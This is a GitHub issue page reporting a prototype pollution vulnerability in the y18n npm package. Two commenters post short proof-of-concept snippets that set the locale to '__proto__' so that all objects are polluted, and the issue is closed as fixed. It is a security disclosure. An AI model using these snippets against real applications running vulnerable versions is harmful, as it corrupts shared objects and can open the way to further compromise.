Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Prototype pollution #96

Closed
po6ix opened this issue Aug 6, 2020 · 1 comment · Fixed by #108
Closed

Prototype pollution #96

po6ix opened this issue Aug 6, 2020 · 1 comment · Fixed by #108

Comments

@po6ix
Copy link

po6ix commented Aug 6, 2020

POC

const y18n = require('y18n')();
 
y18n.setLocale('__proto__');
y18n.updateLocale({polluted: true});

console.log(polluted); // true
@joaogmauricio
Copy link

To complement po6ix report (and using the simple string translation example):

const __ = require('y18n')({locale: '__proto__'}).__;

console.log(__('my awesome string %s', 'foo'));
console.log({}['my awesome string %s']) // my awesome string %s

console.log(__('true'));
console.log({}.true) // true

If the locale is set to __proto__, all subsequent translations will result in object pollution.

@bcoe bcoe closed this as completed in #108 Oct 25, 2020
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

Successfully merging a pull request may close this issue.

4 participants
@bcoe @joaogmauricio @po6ix and others